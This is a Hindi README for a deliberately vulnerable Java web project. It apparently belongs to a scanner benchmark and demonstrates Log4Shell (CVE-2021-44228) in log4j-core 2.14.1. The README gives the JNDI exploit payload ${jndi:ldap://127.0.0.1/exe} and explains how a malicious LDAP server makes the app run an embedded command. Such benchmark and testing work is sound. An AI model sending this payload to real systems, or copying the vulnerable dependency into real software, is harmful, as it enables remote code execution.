
log4shell (CVE-2021-44228) भेद्यता वाला jee वेब प्रोजेक्ट
यह log4shell भेद्यता वाला एक साधारण वेब प्रोजेक्ट है।
प्रोजेक्ट एक साधारण scabench.HelloWorldService get सेवा को परिभाषित करता है जो एक सादा टेक्स्ट स्ट्रिंग hello world लौटाती है।
यह सेवा पैरामीटर की अपेक्षा नहीं करती है, और यदि पैरामीटर मिलते हैं, तो एक त्रुटि
लॉग की जाती है।
भेद्य निर्भरता org.apache.logging.log4j:log4j-core:2.14.1 है, और भेद्यता CVE-2021-44228 है।
इसके लिए unix या macos की आवश्यकता होती है। इस प्रोजेक्ट को windows पर पोर्ट करना आसान है।
भेद्यता प्रदर्शित करने के लिए एक यूनिट टेस्ट प्रदान किया गया है। टेस्ट के लिए एक ldap सर्वर की आवश्यकता होती है जो भेद्य कोड प्रदान करता है, संबंधित निष्पादन योग्य प्रोजेक्ट द्वारा प्रदान किया जाता है, इसे एक अलग प्रोजेक्ट https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept में परिभाषित किया गया है जो https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept पर आधारित है। टेस्ट फिक्स्चर ldap सर्वर के स्टार्टअप और शटडाउन को संभालेगा।
यह टेस्ट foo नामक एक फ़ाइल बनाएगा, जो उस ldap सर्वर के कोड में एम्बेडेड एन्कोडेड कमांड पर आधारित है जिससे log4j कनेक्ट होता है
(touch foo)। इस सर्वर को एक हमलावर द्वारा नियंत्रित किया जा सकता है।
टेस्ट चलाने के लिए प्रोजेक्ट को mvn test से बनाएँ।
mvn jetty:runjava -jar dodgy-ldap-server.jar (भेद्य कोड इस सर्वर से Java कोड डाउनलोड करेगा)http://localhost:8080/ पर इंगित करें, इस साइट में एक पूर्व-भरा हुआ फ़ॉर्म है जिसमें एक दुर्भावनापूर्ण पेलोड ${jndi:ldap://127.0.0.1/exe} हैfoo नामक एक फ़ाइल बन जाएगीविभिन्न विश्लेषण चलाने के लिए कई sh स्क्रिप्ट हैं, परिणाम रिपोर्ट scan-results में पाई जा सकती हैं।
pom.xml में SBOM को CycloneDX प्रारूप में उत्पन्न करने के लिए एक प्लगइन है।
ऐसा करने के लिए, mvn cyclonedx:makePackageBom चलाएँ, SBOM target/ में json और xml प्रारूप में पाया जा सकता है।